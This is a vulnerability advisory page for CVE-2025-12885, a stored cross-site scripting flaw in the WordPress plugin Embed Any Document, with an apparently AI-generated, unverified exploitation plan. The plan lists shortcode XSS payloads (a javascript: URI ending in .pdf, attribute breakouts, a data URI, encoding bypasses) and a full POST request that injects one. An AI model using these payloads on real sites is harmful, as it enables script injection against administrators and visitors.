CVE-2025-12885

Embed Any Document <= 2.7.10 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.7.11
Patched in
1d
Time to patch

Description

The Embed Any Document – Embed PDF, Word, PowerPoint and Excel Files plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the sanitize_pdf_src function regex bypass in all versions up to, and including, 2.7.10 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.7.10
PublishedDecember 17, 2025
Last updatedDecember 18, 2025
Affected pluginembed-any-document

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-12885 (Embed Any Document) ## 1. Vulnerability Summary The **Embed Any Document** plugin (<= 2.7.10) contains a Stored Cross-Site Scripting (XSS) vulnerability. The vulnerability exists within the `sanitize_pdf_src` function, which is intended to sanitize the …

Show full research plan

Exploitation Research Plan: CVE-2025-12885 (Embed Any Document)

1. Vulnerability Summary

The Embed Any Document plugin (<= 2.7.10) contains a Stored Cross-Site Scripting (XSS) vulnerability. The vulnerability exists within the sanitize_pdf_src function, which is intended to sanitize the source URL of a document before it is rendered in a viewer. A flaw in the regular expression used for sanitization allows an attacker to bypass the check and inject malicious payloads (such as javascript: URIs or attribute breakouts). Because this input is stored within a WordPress post/page via a shortcode and later rendered without sufficient output escaping, any user (including administrators) viewing the page will execute the injected script.

2. Attack Vector Analysis

  • Endpoint: wp-admin/post.php (Standard post creation/editing).
  • Vulnerable Component: The [embeddoc] shortcode.
  • Vulnerable Parameter: The url attribute of the shortcode.
  • Authentication Level: Contributor or higher (any role capable of creating/editing posts and using shortcodes).
  • Preconditions: The plugin must be active. The attacker needs to be able to publish or submit a post for review that contains the malicious shortcode.

3. Code Flow (Inferred)

  1. Entry Point: A user with Contributor+ privileges creates a post containing a shortcode: [embeddoc url="MALICIOUS_PAYLOAD"].
  2. Storage: WordPress saves the shortcode string in the post_content column of the wp_posts table.
  3. Rendering: When the post is viewed, the shortcode_atts and the registered callback for embeddoc (likely in Embed_Any_Document_Public class) are triggered.
  4. Processing: The plugin retrieves the url attribute and passes it to the sanitize_pdf_src function (likely located in inc/embed-any-document-public.php or similar).
  5. Vulnerable Sink: The sanitize_pdf_src function applies a flawed regex. If the regex is bypassed, the raw or insufficiently sanitized string is returned.
  6. Output: The plugin generates HTML (e.g., an <embed>, <iframe>, or <object> tag) using the returned value as the src attribute. If the url was javascript:alert(1), the resulting HTML might be <embed src="javascript:alert(1)" ...>.

4. Nonce Acquisition Strategy

While the final XSS execution is unauthenticated (anyone viewing the post), the injection requires an authenticated session.

  1. Post Creation Nonce: To save a post as a Contributor, the agent must obtain the _wpnonce from the wp-admin/post-new.php page.
  2. Plugin-Specific Nonces: Based on the vulnerability description, the XSS is stored via the standard post editor. No specific plugin AJAX nonce is required for the primary attack vector.
  3. Browser Tooling: The agent should use browser_navigate to login and browser_eval to extract the _wpnonce from the post editor form if performing the injection via raw HTTP requests.

5. Exploitation Strategy

The goal is to bypass sanitize_pdf_src and trigger XSS when an Admin views the post.

Step 1: Authentication

Login as a Contributor user using the browser_navigate tool.

Step 2: Payload Identification (Bypass Attempts)

We will test three common regex bypasses for URL sanitizers:

  • Protocol Bypass: [embeddoc url="javascript:alert(document.domain)//.pdf"] (Appending .pdf to satisfy extension checks).
  • Attribute Breakout: [embeddoc url='https://example.com/v.pdf" onmouseover="alert(1)"'] (Testing if quotes are allowed).
  • Data URI: [embeddoc url="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="]

Step 3: Injection Request

Using the http_request tool, send a POST request to wp-admin/post.php to create a new post.

  • URL: http://localhost:8080/wp-admin/post.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=editpost
    &post_ID=[POST_ID]
    &_wpnonce=[NONCE]
    &post_title=XSS+Test
    &content=[embeddoc+url="javascript:alert(document.domain)//.pdf"+viewer="browser"]
    &publish=Publish
    
    (Note: viewer="browser" is often used to force the plugin to use an <embed> tag rather than a Google/Microsoft proxy).

Step 4: Verification

The agent will then navigate to the public URL of the created post as an Administrator and check if the payload is rendered in the HTML source or if the script executes.

6. Test Data Setup

  1. User: Create a user with the contributor role.
  2. Post: Identify a valid post_ID by navigating to wp-admin/post-new.php.
  3. Shortcode: The primary shortcode is [embeddoc].

7. Expected Results

  • When the Admin views the post, the HTML source should contain a tag similar to:
    <embed src="javascript:alert(document.domain)//.pdf" ...>
  • The browser should execute the JavaScript (in the case of the javascript: URI) or trigger the event handler (in the case of attribute breakout).

8. Verification Steps

  1. CLI Check: Use wp post get [POST_ID] --field=post_content to verify the shortcode was saved correctly.
  2. HTML Inspection: Use http_request (GET) on the post's permalink and search the response body for the payload string:
    grep "javascript:alert" response.html

9. Alternative Approaches

If the javascript: protocol is successfully blocked:

  1. Attribute Breakout: Attempt to use double quotes to close the src attribute and add a new event handler:
    url='https://example.com/test.pdf" onload="alert(1)"'
  2. Case Sensitivity: Test if the regex is case-sensitive: JaVaScRiPt:alert(1).
  3. Null Byte/Encoded Chars: Test %00javascript: or &#106;avascript:.
  4. Specific Viewers: The plugin supports multiple viewers (google, microsoft, browser, box, pdfjs). If one is sanitized correctly, check the others by changing the viewer attribute in the shortcode. The browser and pdfjs viewers are the most likely to be vulnerable to direct URI injection.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Embed Any Document plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to 2.7.10 due to an insufficient regular expression in the sanitize_pdf_src function. Authenticated attackers with Contributor-level access can bypass this sanitization by crafting a javascript: URI that ends in a .pdf extension within the [embeddoc] shortcode, leading to script execution when users view the post.

Exploit Outline

To exploit this vulnerability, an attacker with Contributor-level access or higher logs into the WordPress dashboard and creates or edits a post. They insert the [embeddoc] shortcode with a malicious url attribute, such as [embeddoc url="javascript:alert(document.domain)//.pdf" viewer="browser"]. The trailing '.pdf' bypasses the plugin's regex-based sanitization in the sanitize_pdf_src function. When a user, such as an administrator, views the published post, the plugin renders the malicious URL in the src attribute of an HTML tag (like <embed>), causing the browser to execute the injected JavaScript.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.